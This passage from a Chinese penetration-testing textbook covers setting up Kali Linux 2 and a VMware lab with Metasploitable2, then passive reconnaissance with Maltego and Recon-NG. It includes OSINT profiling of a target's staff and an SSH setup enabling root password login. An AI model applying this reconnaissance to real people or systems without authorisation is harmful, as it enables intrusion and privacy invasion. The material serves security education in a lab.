现在，我们来介绍一下这款神器的制作方法，首先需要一个U盘，最好不要小于32GB，通常来说64GB的U盘更合适，因为后期我们在进行软件安装和更新的时候，系统会很快地变大。
 
将Kali Linux 2安装到U盘上的方法有很多种，下面介绍使用虚拟机进行安装的方法，这个安装过程和之前介绍大部分是一样的，但是需要注意以下几点。
 
第一，在上一节介绍的出现系统启动界面之前将U盘插入到计算机中，并在出现启动界面的时候右键单击虚拟机右下角的移动设备挂载按钮，如图2-33所示。
 
在弹出的下拉菜单中选中“连接（断开与主机的连接）”选项，如图2-34所示。
 
[image: 图片 2]
 
图2-33　Kali Linux 2的启动界面
 
[image: 图片 3]
 
图2-34　Kali Linux 2的启动界面
 
在新弹出的对话框中单击“确定”，这时真实计算机就看不到这个设备了，这个设备被加载到了虚拟机中。
 
　　第二，在选择磁盘分区时，要选择“向导-使用整个磁盘并配置加密的LVM”，如图2-35所示，这样就可以为U盘添加一个密码。
 
[image: 图片 4]
 
图2-35　Kali Linux 2的磁盘分区向导
 
第三，在磁盘分区选择安装目录的时候，要选择U盘而不是硬盘，如图2-36所示。
 
[image: 图片 5]
 
图2-36　选择U盘
 
等安装完成之后，一个装有Kali Linux 2的U盘就做好了。注意，虽然这个U盘系统在大多数的主机设备上都可以正常运行，但是也存在少量设备不兼容的问题。
 
2.3　Kali Linux2的常用操作
 
我们启动了Kali Linux 2之后，可以看到一个和Windows相类似的图形化操作界面，这个界面的上方有一个菜单栏，左侧有一个快捷的工具栏。单击菜单上的“应用程序”，可以打开一个下拉菜单，所有的工具按照功能的不同分成了13种（菜单中是有14个选项，但是最后的“系统服务”并不是工具分类）。当我们选中其中一个种类的时候，这个种类所包含的软件就会以菜单的形式展示出来，如图2-37所示。
 
但是这里展示的只是其中的一部分工具，而不是全部。如果你希望能看到所有应用程序的话，可以单击左侧的快捷工具栏最下方的显示全部程序按钮，如图2-38所示。
 
[image: 图片 6]
 
图2-37　Kali Linux 2中的菜单
 
[image: 图片 15]
 
图2-38　显示全部程序按钮
 
这时在屏幕上才会显示出全部的应用程序，如图2-39所示。
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图2-39　显示出来的全部程序
 
这时直接双击图标就可以启动这个工具了。另外，也可以使用终端的命令来打开工具。
 
2.3.1　修改默认的用户
 
如果你使用的是从官网下载的Kali Linux 2虚拟机镜像文件的话，那么其中默认的密码是“toor”。如果你想修改这个密码的话，可以使用命令“passwd”+用户名的方式，例如我们需要修改root用户密码的话，就可以使用“passwd root”，过程如图2-40所示。
 
[image: 图片 1]
 
图2-40　修改root用户密码
 
当你再次登录的时候，就需要使用新的密码了。
 
虽然很多程序都要求必须只有root权限的用户才能运行。但是在很多情况下，更高的权限也意味着更大的风险。我们如果以root用户的身份操作失误的话，可能会对正在测试的系统造成破坏。所以在很多时候以非root用户的身份来进行测试是一个更好的选择。
 
现在我们来创建一个权限较低的账户，创建用户的命令为adduser，现在我们来打开一个终端，然后在里面输入命令“adduser ll”，执行的结果如图2-41所示。
 
[image: 图片 2]
 
图2-41　添加一个用户
 
这里我们需要为新创建的用户设置一个密码，如图2-42所示。
 
[image: 图片 3]
 
图2-42　为这个新用户设置一个密码
 
到此一个新的普通用户就创建好了，需要注意这个用户不具备root权限。
 
2.3.2　对Kali Linux 2的网络进行配置
 
我们如果想要使用Kali Linux 2功能的话，就必须对它的网络进行正确的配置。首先来查看一下当前主机的网络配置情况，具体的操作是首先打开一个终端，如图 2-43所示。
 
[image: 图片 17]
 
图2-43　打开一个终端
 
然后在打开的终端中输入命令“ifconfig”，这条命令可以用来查看网络的设置情况，显示的内容如图2-44所示。
 
[image: 说明: C:\Users\admin\AppData\Local\Temp\vmware-admin\VMwareDnD\e8bf35dd\Screenshot from 2017-07-19 05-58-41.png]
 
图2-44　使用ifconfig查看网络
 
这里面因为我们使用的是VMware虚拟机，VMware已经自动地为Kali Linux 2设置了IP地址、子网掩码和网关。但是如果我们使用的Kali Linux 2系统并不是安装在虚拟机中的话，就需要手动来设置这些网络参数了。
 
比如你需要为这个系统设置如下：
 
 
 	主机IP地址：172.16.1.100
 
 	子网掩码：255.255.255.0
 
 	默认网关：172.16.1.254
 
 	DNS服务器：211.81.200.9
 

 
那么你就可以在命令行中执行如下命令：
 
root@kali:~# ifconfig eth0 172.16.1.100 netmask 255.255.255.0
root@kali:~# route add default gw172.16.1.254
root@kali:~# echo nameserver 211.81.200.9 > /etc/resolv.conf
 
但是仅仅这样设置是不够的，如果系统重启之后，IP地址和路由的所有的设置就会丢失（不过DNS的设置仍然还在）。如果希望这个设置能够一直起作用的话，就需要将这些设置写到文件中去，这个文件的目录位于/etc/network/interfaces文件中，打开之后如图2-45所示。
 
[image: 图片 1]
 
图2-45　/etc/network/interfaces文件
 
在打开的文件下方添加如下语句：
 
auto eth0
iface eth0 inet static
address172.16.1.100
netmask 255.255.255.0
network172.16.1.0
broadcast172.16.1.255
gateway172.16.1.254
 
 
 	修改完的完整文件如图2-46所示。
 

 
[image: 说明: C:\Users\admin\AppData\Local\Temp\vmware-admin\VMwareDnD\6c03e335\Screenshot from 2017-07-19 22-10-09.png]
 
图2-46　修改之后的/etc/network/interfaces文件
 
Kali Linux 2的DNS服务器地址不在这个文件中，我们可以使用前面的echo命令来修改。也可以打开DNS配置文件来修改。我们需要打开另一个“/etc/resovl.conf”文件进行配置，这个文件中使用“nameserver”来指定DNS服务器地址，最多可以指定3个DNS，只有当前面的DNS服务器无效的时候，后面的DNS才会起作用。在resolv.conf中指定DNS服务器的格式如下：
 
domain
nameserver 10.10.10.10
nameserver 102.54.16.2
 
完成上面的设置之后，执行如下命令：
 
root@kali~# /etc/init.d/networking restart
 
这样，新的网络设置就可以成功了。
 
2.3.3　在Kali Linux 2安装第三方程序
 
虽然在Kali Linux 2中已经预装了超过300种的应用程序，但是有时我们仍然会需要安装一些程序来保证高效地进行渗透测试。在Kali Linux 2中安装第三方的应用是比较简单的。
 
这里我们同样可以使用apt-get命令来实现对软件进行管理，这条命令主要用于从互联网的软件仓库中搜索、安装、升级、卸载软件或操作系统。我们可以使用命令apt-get install命令在kali Linux 2中安装软件。比如说我们现在要安装apt-file这个软件，apt-file 是一个命令行界面的APT包搜索工具。当我们在编译源代码时，时有缺少文件的情况发生。此时，通过 apt-file 就可以找出该缺失文件所在的包，然后将缺失的包安装后即可让编译顺利进行了。安装的命令就是“apt-get install apt-file”，如图2-47所示。
 
[image: 图片 2]
 
图2-47　安装apt-file
 
安装完成之后，就可以执行这个软件了，如图2-48所示。
 
[image: 说明: C:\Users\admin\AppData\Local\Temp\vmware-admin\VMwareDnD\3e491707\Screenshot from 2017-07-22 02-14-40.png]
 
图2-48　执行apt-file
 
Kali Linux 2中的菜单里的选项是固定的，如果我们希望对其进行调整的话，可以使用一款名为alacarte的程序，Kali Linux 2并没有安装这款程序。我们可以使用刚讲过的方法来下载并安装这个程序，输入命令“apt-get install alacarte”，执行的结果如图2-49所示。
 
[image: 说明: C:\Users\admin\AppData\Local\Temp\vmware-admin\VMwareDnD\26517f13\Screenshot from 2017-07-21 22-05-02.png]
 
图2-49　安装alacarte
 
安装完成之后，在终端中输入如下命令：
 
root@kali~# alacarte
 
alacarte是一款图形化操作软件，启动以后的操作界面如图2-50所示。
 
[image: 说明: C:\Users\admin\AppData\Local\Temp\vmware-admin\VMwareDnD\69aee4d4\Screenshot from 2017-07-21 22-15-08.png]
 
图2-50　alacarte的操作界面
 
alacarte这个软件的操作十分简单，这里不再详细介绍。
 
本书中使用的Kali Linux 2是在虚拟机中运行的。有时候，我们需要在虚拟机Kali Linux 2系统和外面的Windows系统中共享文件，为了操作方便，我们可以装上vmtools，安装的方法如下：
 
root@kali:~#apt-get update
 
root@kali:~#apt-get install open-vm-tools-desktop fuse
 
执行的过程如图2-51所示。
 
[image: 图片 7]
 
图2-51　安装vmtools
 
之后重新启动系统：
 
root@kali:~#reboot
 
重新启动之后，就可以在Kali系统和外面的Windows系统中拖动共享文件了。
 
2.3.4　对Kali Linux 2网络进行SSH远程控制
 
有时候我们可能需要远程控制Kali Linux 2系统。默认情况下，Kali Linux2系统并没有开始SSH服务。如果希望远程使用SSH服务连接到Kali Linux 2的话，需要先在Kali Linux 2中进行如下设置。
 
首先来设置用于连接的密钥，Kali Linux 2中已经预先配置好了SSH的密钥。但是我们在使用SSH服务的时候，最好不用这个默认的密钥，而是自己重新创建一个新的，首先就必须先停用这个默认的密钥。将这个默认的密钥移动到一个备份文件夹中，然后使用如下的命令创建一个新的密钥：
 
dpkg-reconfigureopenssh-server
 
好了，这里我们首先打开SSH所在的目录：
 
root@kali:~# cd /etc/ssh/
 
在这个文件夹中创建一个备份文件夹keys_backup，用来保存默认的密钥，如图2-52所示。
 
root@kali:/etc/ssh# mkdir keys_backup
 
[image: 图片 3]
 
图2-52　创建好的备份文件夹
 
然后将默认的密钥移动到keys_backup文件夹中：
 
root@kali:/etc/ssh# mv ssh_host_* keys_backup
 
然后我们使用命令重新创建一个新的密钥：
 
root@kali:/etc/ssh# dpkg-reconfigure openssh-server
 
这几条命令完整的执行过程如图2-53所示。
 
[image: 图片 6]
 
图2-53　对密钥的操作
 
我们可以将新生成的密钥的md5值与之前默认的md5值相比较，如图2-54所示。
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图2-54　将两个密钥进行比较
 
修改sshd_config文件，该文件的目录位于/etc/ssh/sshd_config，如图2-55所示。
 
[image: 图片 2]
 
图2-55　修改sshd_config文件
 
将#PasswordAuthentication yes的注释去掉，然后将PermitEmptyPasswords no修改为PermitRootLogin yes，如图2-56所示。
 
[image: 图片 6]
 
图2-56　修改之后的sshd_config文件
 
接下来，我们在终端中启动SSH服务，使用的命令如下：
 
root@kali:~# /etc/init.d/ssh start
 
执行的结果如图2-57所示。
 
[image: 图片 8]
 
图2-57　启动SSH服务
 
如果你想查看SSH服务运行状态的话，可以使用以下命令，如图2-58所示。
 
root@kali:~#netstat -antp
 
[image: 图片 9]
 
图2-58　查看SSH服务运行状态
 
可以看到目前SSH服务已经在22端口上运行起来了。
 
现在我们在另外一台计算机上使用SSH服务来远程控制Kali Linux 2，这里我们使用PuTTY来完成远程登录，其工作界面如图2-59所示。
 
[image: 图片 10]
 
图2-59　PuTTY的工作界面
 
PuTTY的使用很简单，只需要输入目标的IP地址和要使用的端口即可，如图2-60所示。
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图2-60　远程连接到Kali Linux 2
 
2.3.5　Kali Linux 2的更新操作
 
我们需要经常性地对Kali Linux 2系统进行升级操作。一种升级的方法是使用APT，我们也可以使用APT来对整个Kali Linux 2系统进行更新。APT中最为常用的几个升级命令如下。
 
 
 	apt-get update：使用这条命令是为了同步 /etc/apt/sources.list中列出的源的索引，这样才能获取到最新的软件包。
 
 	apt-get upgrade：这条命令是用来安装etc/apt/sources.list中所列出来的所有包的最新版本。Kali Linux 2中所有软件都会被更新。这条命令并不会改变或删除那些没有更新操作的软件，但是也不会安装当前系统不存在的软件。
 
 	apt-get dist-upgrade：会将软件包升级到最新版本，并安装新引入的依赖包。 除了提供upgrade 的全部功能外，并智能处理新版本的依赖关系问题。
 

 
我们只需要执行如下命令就可以完成对系统的更新。
 
root@kali:~#apt-get update
root@kali:~#apt-get upgrade
 
 
 	这个更新的过程十分漫长，需要耐心等待。
 

 
2.4　VMware的高级操作
 
在进行渗透测试的学习时，我们有很多技术不能直接应用在真实世界中，因为这些技术的破坏性可能会带来法律上的问题。如果我们能拥有一个属于自己的网络安全渗透实验室，将会是一个非常理想的选择。将现实中的网络，在实验室中模拟出来，这样我们就可以更好地研究各种渗透测试的方法，而不必担心以此引发的后果。
 
不过假想一下，我们即使是模拟一个只有5台计算机的网络，那么也需要占用不小的空间，而且切换着对这些设备进行调试也十分麻烦。不过好在除了使用真实设备之外，我们还有一个选择，那就是使用虚拟机。使用VMware虚拟机软件就可以在一台计算机上模拟出多台完全不同的计算机来。这样你只需要一台计算机就可以建立一个网络安全渗透实验室了。当然这台计算机的硬件配置要越高越好，其中影响最大的硬件就是内存，最好使用8GB以上的内存。
 
在第2.2节Kali Linux 2安装中，我们提到了VMware的安装方法。接下来，我们就来了解如何使用VMware来建立一个网络渗透实验室。
 
2.4.1　在VMware中安装其他操作系统
 
1．安装Metasploitable2
 
Metasploitable2是一个专门用来进行渗透测试的靶机。这个靶机上存在着大量的漏洞，这些漏洞正好是我们学习Kali Linux 2 时最好的练习对象。这个靶机的安装文件是一个VMware虚拟机镜像，我们可以将这个镜像下载下来使用，使用的步骤如下：
 
步骤1　首先从https://sourceforge.net/projects/metasploitable/files/Metasploitable2/下载Metasploitable2镜像的压缩包，并将其保存你的计算机中。
 
步骤2　下载完成后，将下载下来的metasploitable-Linux-2.0.0.zip文件解压缩。
 
步骤3　接下来启动VMWare，然后在菜单栏上单击“文件”/“打开”，然后在弹出的文件选择框中选中你刚解压缩文件夹中的Metasploitable.vmx。
 
步骤4　现在这个Metasploitable2就会出现在你左侧的虚拟系统列表中了。单击就可以打开这个系统。
 
步骤5　对虚拟机的设置不需要更改，但是要注意的是，网络连接处要选择“NAT”，如图2-61所示。
 
[image: 图片 4]
 
图2-61　Metasploitable2的网络连接方式
 
步骤6　现在Metasploitable2就可以正常使用了。我们在系统名称上单击鼠标右键，然后依次选中电源/启动客户机，就可以打开这个虚拟机了。系统可能会弹出一个菜单，选择“I copied it”即可。
 
步骤7　使用“msfadmin”作为用户名，“msfadmin”作为密码登录这个系统。
 
步骤8　成功登录以后，VMware已经为这个系统分配了IP地址。现在我们就可以使用这个系统了。
 
2．安装Windows 7虚拟机
 
我们平时进行渗透测试的目标是以Windows为主，所以这里我们还应该搭建一个Windows操作系统作为靶机。这里有两个选择，如果你有一个Windows 7的安装盘的话，那么就可以在虚拟机中安装这个系统。另外我建议你最好到https://developer. microsoft.com/en-us/microsoft- edge/tools/vms/下载微软提供的测试镜像。在这个地址中微软提供了如图2-62所示的各种系统的虚拟机镜像，利用这些镜像，渗透测试者可以极为方便地对各种系统和浏览器进行测试。
 
[image: 图片 5]
 
图2-62　微软提供的操作系统镜像列表
 
这里我们下载其中的“IE8 on Win7（x86）”作为靶机，使用的方法和之前的一样，不再进行介绍。
 
2.4.2　VMware中的网络连接
 
我们可以按照自己的想法在VMware中建立任意的网络拓扑。在之前的章节中我们已经提到过NAT的概念了，实际上VMware中使用了一个名为VMnet的概念，在VMware中每一个VMnet就相当于一个交换机，连接到了同一个VMnet下的设备就都同处于一个子网内，你可以在菜单栏中单击“编辑”/“虚拟网络编辑器”来查看VMnet的设置，如图2-63所示。
 
[image: 图片 38]
 
图2-63　VMware中的虚拟网络编辑器
 
这里面只有VMnet0、VMnet1、VMnet8这3个子网，当然我们还可以添加更多的网络，这3个子网分别对应着VMware虚拟机软件中提供的3种进行设备互联的方式，分别是桥接、NAT、仅主机模式。这些连接方式与VMvare中的虚拟网卡是相互对应的。
 
 
 	VMnet0：这是VMware用于虚拟桥接网络下的虚拟交换机。
 
 	VMnet1：这是VMware用于虚拟仅主机模式网络下的虚拟交换机。
 
 	VMnet8：这是VMware用于虚拟NAT网络下的虚拟交换机。
 

 
另外，当我们安装完VMware软件之后，系统中就会多出两块虚拟的网卡，分别是VMware Network Adapter VMnet1和VMware Network Adapter VMnet8，如图2-64所示。
 
[image:  ]
 
图2-64　多出的两块虚拟网卡
 
VMware Network Adapter VMnet1：这是Host用于与Host-Only虚拟网络进行通信的虚拟网卡。
 
VMware Network Adapter VMnet8：这是Host用于与NAT虚拟网络进行通信的虚拟网卡。
 
我们来看一下这3种连接方式的不同之处。
 
1．NAT网络
 
这是VMware中一种最为常用的联网模式，这种连接方式使用的是VMnet8虚拟交换机。同处于NAT网络模式下的系统通过VMnet8交换机进行通信。NAT网络模式下的IP地址、子网掩码、网关和DNS服务器都是通过DHCP分配的。而该模式下的系统在与外部通信的时候使用的是虚拟的NAT服务器。
 
2．桥接网络
 
这种模式很容易理解，凡是选择使用桥接网络的系统就好像是局域网中的一个独立的主机，就是和你真实的计算机一模一样的主机，并且它也连接到了这个真实的网络。因此如果我们要这个系统联网的话，就需要将这个系统和外面的真实主机采用相同的设置方法。
 
3．仅主机模式
 
这种模式和NAT模式差不多，同处于这种联网模式下的主机是相互连通的，但是默认是不会连接到外部网络的，这样我们在进行网络实验（尤其是蠕虫病毒）时就不会担心传播到外部。
 
在本书中我们将所使用的虚拟机都采用了NAT联网模式，这样既可以保证虚拟系统的互联，也能保证这些系统连接到外部网络。
 
2.4.3　VMware中的快照与克隆功能
 
1．VMware的快照功能
 
在进行渗透测试的时候，经常会引起系统的崩溃。如果每一次系统崩溃，我们都要进行系统重装的话，那么这个工作量也是相当之大的。VMware中提供了一个系统快照的功能，这个快照类似于我们平时所使用的“系统备份”功能，这个功能可以将系统当前状态记录下来，如果需要的话，可以随时恢复到快照时的状态。通常我们在对Kali Linux 2进行升级之前，或者对目标系统进行渗透之前都会对系统进行快照。如果升级失败或者渗透导致系统不可正常使用时，再恢复快照。
 
创建快照的操作很简单：
 
1）启动虚拟机，在菜单中单击“虚拟机”，然后在下拉菜单中选中“快照”选项，然后单击“拍摄快照”。
 
2）在“拍摄快照”窗口中填入快照的名字和注释，单击“拍摄快照”。
 
如果我们需要将当前的虚拟机恢复到快照时的状态，同样要在菜单中单击“虚拟机”/“快照”，在弹出的菜单选中要恢复的快照名称即可。
 
2．VMware的克隆功能
 
当我们需要模拟一个拥有3个Windows 7操作系统的网络时，无需一个个地安装虚拟机，只需要在创建了一个虚拟机之后，执行两次克隆操作即可。
 
克隆是一种和快照很像的操作，但是两者又有着明显的不同。快照和克隆都是对操作系统某一时刻的状态进行的备份。但是快照不能独立运行，必须要在原来系统的基础上才能运行。而克隆可以脱离原来系统运行，一旦克隆完成，克隆的系统与原来的虚拟机是相对独立的，可以看作是两个互不相干的系统。而且VMware在克隆的时候，会给新系统一个MAC地址。这样原来的系统和克隆的系统就可以同处于一个网络而不会发生冲突，创建一个克隆的方法如下。
 
1）启动虚拟机，在菜单中单击“虚拟机”，然后在下拉菜单中选中“管理”选项，然后单击“克隆”。
 
2）在虚拟机克隆向导中，系统会要求选择一个克隆源，这个克隆源可以是虚拟机的当前状态，也可以是某一快照的状态，根据实际需求作出选择即可。
 
3） 克隆方法处有两个选项“创建链接克隆”和“创建完整克隆”。链接克隆产生的文件占用硬盘更小，但是必须能够访问原始的虚拟机时才能使用。完整克隆则完全独立，可以在任何地方使用，但是占用的硬盘空间较大。通常我们在一台计算机上做实验的话，建议选择链接克隆。
 
4）选择保存克隆文件的地址，然后执行到完成即可。
 
5）操作结束之后，在虚拟机左侧的操作系统列表处就会出现一个新的克隆操作系统。
 
3．VMware导出虚拟机
 
如果你希望将自己所使用的虚拟机镜像转移到其他计算机上，或者提供给其他人使用的时候（就像Kali官方提供的镜像那样），我们也可以选择将虚拟机导出成一个文件，这个文件移动到其他任何一个装有VMware的计算机上都可以运行了。
 
操作的方法是首先在左侧操作系统列表中选中目标系统，注意此时的系统应该处于关闭状态，然后单击菜单栏上的“文件”/“导出为OVF”，在弹出的文件对话框选中要保存的位置即可。生成的OVF文件就可以在其他装有VMware的计算机中运行了。
 
2.5　小结
 
在这一章中，我们详细地讲解了Kali Linux 2的安装和使用。Kali Linux 2提供了多种安装方法，我们可以将其安装在硬盘上，也可以将其安装在随身的U盘上。
 
接下来，我们介绍了Kali Linux 2的一些基础操作，包括如何安装第三方软件，更改程序菜单，对系统进行升级，为系统配置网络等操作。
 
最后我们还介绍了建立渗透测试实验室的关键软件——VMware的安装和使用，详细地讲解了VMware中网络模式的配置、靶机的安装、快照和克隆等操作。
 
在下一章，我们将会正式开始网络安全渗透测试之旅，首先我们先要学习如何完成信息收集阶段的被动扫描。
 


第3章　被动扫描
 
看起来世界上好像没有任何监狱可以关得住雷·布雷斯林，可是他又是怎么完成这些任务的呢？在影片刚开始不久的时候，雷·布雷斯林给出了他越狱必需的3个条件：
 
 
 	必须熟悉整个监狱的布局；
 
 	必须摸清看守人员和犯人的日常规律；
 
 	不能孤军奋战，必须得到里应或者外合。
 

 
我们看过的大部分有越狱情节的电影都是犯人直接打倒看守，然后一路杀出监狱。而《金蝉脱壳》却不是，雷·布雷斯林巧妙地利用了监狱中的一切细节，这也是这部电影最为精彩的地方。
 
网络安全渗透测试也不是一门单纯的科学，而是由多个学科交叉而成。其中一个重要的组成部分正是情报学。雷·布雷斯林给出越狱的前两个条件正属于情报学的范畴。在网络安全渗透测试中，有经验的专家大都会在信息收集阶段花费最多的时间。如果想对一个目标进行完整的测试，那么我们知道的应该比用户自己还要多得多。可是这里很多新手会有一个疑问，我们如何才能获得目标的信息呢？获得信息的方法可以分成两种，被动扫描和主动扫描两种。
 
被动扫描主要指的是在目标无法察觉的情况下进行的信息收集，比如我们如果想了解一个远在天边的人，你会怎么做呢？显然我们可以选择在搜索引擎去搜索这个名字。其实这就是一次对目标的被动扫描。最经典的被动扫描技术其实要数“Google hack”技术，但是这种技术在我们所处的大陆地区暂时无法使用。在这一章中我们来介绍3个极为优秀的信息收集工具：
 
 
 	Maltego
 
 	Recon-NG
 
 	ZoomEye
 

 
3.1　Maltego的使用
 
有时我们在进行对某个网站的黑盒测试时，从客户那里获得的信息只有一个域名，例如www.testfire.net（这是美国IBM公司提供的一个专门用来测试的网站），这时一个没有经验的渗透测试者往往会无从下手。而老练的渗透测试者则会在信息收集上花费整个测试过程一半以上的时间。不过在自动化的信息收集工具出现之前，每个渗透测试者对目标进行信息收集的方法可能都不相同。
 
很多人都会对这个阶段感到奇怪，作为黑客，直接找出一个系统的漏洞，然后黑进目标系统，很多电影里的黑客不都是这样做的吗？应该说这些粗制滥造的电影中的确是有这样的情节，但是现实中大多数黑客真的不是这样做的，当然渗透测试者也不这样做。根据世界上最为著名的黑客凯文·米特尼克经历改编的《黑客通缉令》中，充分地体现了在渗透过程中信息收集的重要性。另外，我一直认为这部电影是最优秀的社会工程学教材，没有之一。
 
那么信息的收集要从哪几方面来下手呢？以目标www.testfire.net为例，我们就可以想方设法来获取如下的一些信息：
 
1）目标网站所有者的信息，例如姓名、地址、电话、电子邮件等。
 
2）目标网站相关的电子邮箱，本例中就是形如*@testfire.net的电子邮箱。
 
3）目标网站用户的社交信息，也就是该网站工作人员的微博、QQ、论坛发帖（这些都是国内渗透测试的标准，国外的话一般是推特、Youtube之类）。
 
这些信息可能会给我们带来很多有用信息，曾经有黑客收集到了某国际大型公司一个工作人员的微博账号，并在这个微博上看到了该工作人员为女友送上的生日祝福。有人可能会奇怪这有什么呢？事实上，这个工作人员在办公系统中设置的密码恰恰就是他女友的生日，现在你明白信息收集的重要性了吧？
 
但是互联网上的信息数量极为庞大，如果想手工地从其中找出有用的信息，无异于大海捞针，所以我们最好能采用一种自动化的信息收集工具。
 
Maltego是一款十分令人惊喜的信息收集软件。这款工具可以从各种渠道收集目标的信息。下面我们就以一个实例来演示这个工具的使用。
 
启动Maltogo的方法很简单，Kali Linux 2中已经安装了Maltego，我们只需要依次单击Applications/01-Information Gathering/maltegoce就可以打开这个工具，如图3-1所示。
 
[image: 说明: C:\Users\admin\Desktop\Screenshot from 2017-08-06 01-33-20.png]
 
图3-1　Applications中启动Maltego
 
Maltego启动过程的界面如图3-2所示。
 
[image: 说明: C:\Users\admin\AppData\Local\Temp\vmware-admin\VMwareDnD\fe3b179f\Screenshot from 2017-06-22 19-34-13.png]
 
图3-2　Maltego的启动过程
 
Maltego成功启动之后，会出现一个欢迎界面，单击“Next”即可，如图3-3所示。
 
[image: 说明: C:\Users\admin\AppData\Local\Temp\vmware-admin\VMwareDnD\a1ccbc21\Screenshot from 2017-06-22 19-35-34.png]
 
图3-3　Maltego的欢迎界面
 
第一次使用Maltego的话，需要注册一个账户，单击“register here”会跳转到另外一个页面，如图3-4所示。
 
[image: 说明: C:\Users\admin\AppData\Local\Temp\vmware-admin\VMwareDnD\a3cebaae\Screenshot from 2017-06-22 19-36-59.png]
 
图3-4　Maltego的登录界面
 
这个注册是免费的，需要注意的是如果我们在国内注册的时候，有时会看不到这个“进行人机身份验证”的窗口，这时是无法完成注册的。Maltego的注册界面如图3-5所示。
 
[image: 图片 1]
 
图3-5　Maltego的注册界面
 
注册成功之后，使用注册的用户名登录即可，如图3-6所示。
 
[image: 说明: C:\Users\admin\AppData\Local\Temp\vmware-admin\VMwareDnD\27cd2313\Screenshot from 2017-07-12 22-32-07.png]
 
图3-6　成功登录Maltego
 
接下来要选择我们使用Maltego的方式，这里一共有两种选择，“Maltego public servers”是官方服务器，如果你拥有自己的Maltego服务器（在官方网站可以购买），也可以填写自己Maltego服务器的地址，如图3-7所示。
 
[image: 说明: C:\Users\admin\AppData\Local\Temp\vmware-admin\VMwareDnD\35c51563\Screenshot from 2017-07-12 22-32-46.png]
 
图3-7　选择Maltego使用的服务器
 
这里我们使用默认的“Maltego public servers”即可。接下来我们设置使用Maltego的目标，先建立一个空的项目，选择“Open a blank graph and let me play around”，如图3-8所示。
 
[image: 说明: C:\Users\admin\Desktop\Screenshot from 2017-08-06 02-09-07.png]
 
图3-8　选择创建一个新的项目
 
打开的Maltego工作界面分成3个部分，最上方是菜单栏，这里面包含了所有的功能，左侧Entity Palette包含了所有的对象（例如设备、域名、IP地址等），右侧是收集到的信息，这个界面如图3-9所示。
 
[image: 图片 6]
 
图3-9　Maltego的工作界面
 
Maltego的使用是自动化的，你只需要提供要进行调查的内容，例如这里我们要调查的是www.testfire.net这个域名，那么我们就可以在左侧的Entity Palette列表的Infarastructure分类中选择Domain，并拖动Domain到右侧的空白区中，如图3-10所示。
 
[image: 图片 7]
 
图3-10　在Maltego中添加一个节点
 
在空白区将看到一个名为paterva.com的域对象，双击这个对象，将其修改为testfire.net。然后我们可以有多种调查的方式，这里面选择一种最为常用的方式，也就是Maltego提供的自动化信息收集，在选择了空白区的testfire.net之后，然后单击最左侧的Run View按钮，在切换出来的Machines菜单中提供了Maltego提供的几种比较经典的信息收集方式，这里最为常用的是Footprint系列，其中后面的数字越大，调查的深度也就越大，这里我们以其中的Footprint L1为例，如图3-11所示。
 
[image: 图片 14]
 
图3-11　使用“Footprint L1”
 
选中了Footprint L1之后，单击右侧的run按钮即可，收集到的结果如图3-12所示。但是我们如果使用的是免费版本的话，那么最多只能显示12个节点。
 
[image: 图片 12]
 
图3-12　收集到的结果
 
在这次信息的收集过程中，我们找到了testfire.net的多个子域名，例如demo.testfire. net、ftp.testfire.net等等，我们还知道了这个域名对应的IP为65.61.137.117。如果你想获得更多信息的话，比如知道65.61.137.0～65.61.137.255的所处的地理位置，也可以在对应节点上面单击鼠标右键，然后在弹出的右键菜单中选择“To Location[city，country]”，就可以对这个地址定位，如图3-13所示。
 
[image: 图片 16]
 
图3-13　使用To Location[city，country]进行定位
 
执行完这个操作之后，就可以获得以地标形式显示的该IP地址的位置信息，如图3-14所示。
 
[image: 图片 17]
 
图3-14　定位到的信息
 
由于testfire.net只是一个测试用的网站，不同于我们真实世界的网站，而且我们采用了深度不大的Footprint L1收集模式，所以找到的信息量并不大。而在真实的渗透测试中获取到的信息量往往是相当大的。
 
3.2　使用Recon-NG进行信息收集
 
相比起Maltego，Recon-NG在国内的资料并不多。但是Recon-NG框架确实是一款功能极为强大的信息收集和网络侦察工具。使用Recon-NG我们就可以自动化地完成渗透测试过程中的很多步骤。这款工具既提供了一些被动扫描的功能，也提供了主动扫描的功能。
 
3.2.1　Recon-NG的基本用法
 
这款工具是一款菜单驱动的工具，所以即使是初学者也很容易上手，下面我们来介绍一下Recon-NG的使用方法。和Kali中的所有工具一样，启动Recon-NG的方法有两种。
 
1）在上方菜单中依次单击“Application”/“Inforemation Gathering”/“Recon-NG”，如图3-15所示。
 
[image: 图片 2]
 
图3-15　在Application中启动Recon-NG
 
2）另一种方法就是打开一个终端，然后直接输入命令“recon-ng”：
 
root@kali:~# recon-ng
 
Recon-NG启动之后的界面如图3-16所示。
 
[image: 说明: C:\Users\admin\AppData\Local\Temp\vmware-admin\VMwareDnD\3a745833\Screenshot from 2017-07-22 21-14-41.png]
 
图3-16　启动之后的Recon-NG界面
 
如果需要查看Recon-NG中可以使用的命令就可以输入“help”，如图3-17所示。
 
[image: 说明: C:\Users\admin\AppData\Local\Temp\vmware-admin\VMwareDnD\e4017189\Screenshot from 2017-07-22 21-28-31.png]
 
图3-17　Recon-NG的帮助文件
 
下面给出了每条命令的作用。
 
 
 	add：向数据库添加一条记录。
 
 	back：返回到上一级。
 
 	delete：从数据库删除一条记录。
 
 	exit：退出Recon-NG。
 
 	help：显示帮助信息。
 
 	keys：管理API。
 
 	load：载入指定模块。
 
 	pdb：打开Python调试。
 
 	query：查询数据库。
 
 	record：将命令保存为资源文件。
 
 	reload：重新载入所有模块。
 
 	resource：执行一个资源文件。
 
 	search：搜索可用的模块。
 
 	set：设置参数的值。
 
 	shell：执行操作系统的命令。
 
 	show：显示各种框架的条目。
 
 	snapshots：创建一个快照。
 
 	spool：将结果输出到一个文件。
 
 	unset：重置参数值。
 
 	use：载入指定模块。
 
 	workspaces：管理工作区。
 

 
这里面按照英文字母表的顺序列出了21条可以使用的命令，我们先来查看其中的show命令，这条命令是用来查看各种信息的，现在我们在命令行中输入的“show“，系统就会给出show命令后面可以使用的参数，如图3-18所示。
 
[image: 图片 6]
 
图3-18　Recon-NG的show命令
 
这里我们使用show命令和参数modules来查看Recon-NG中所有可以使用的模块，如图3-19所示。
 
[image: 说明: C:\Users\admin\AppData\Local\Temp\vmware-admin\VMwareDnD\a9fdec4e\Screenshot from 2017-07-22 21-37-01.png]
 
图3-19　使用“show modules”查看可以使用的模块
 
我们现在使用的Recon-NG包含了5个种类一共90个模块，这些模块有些是进行被动扫描的，它们可以在目标完全不知情的情况下进行，而另外一些模块则是主动扫描的，它们会向目标发送探针，甚至对目标发起攻击。
 
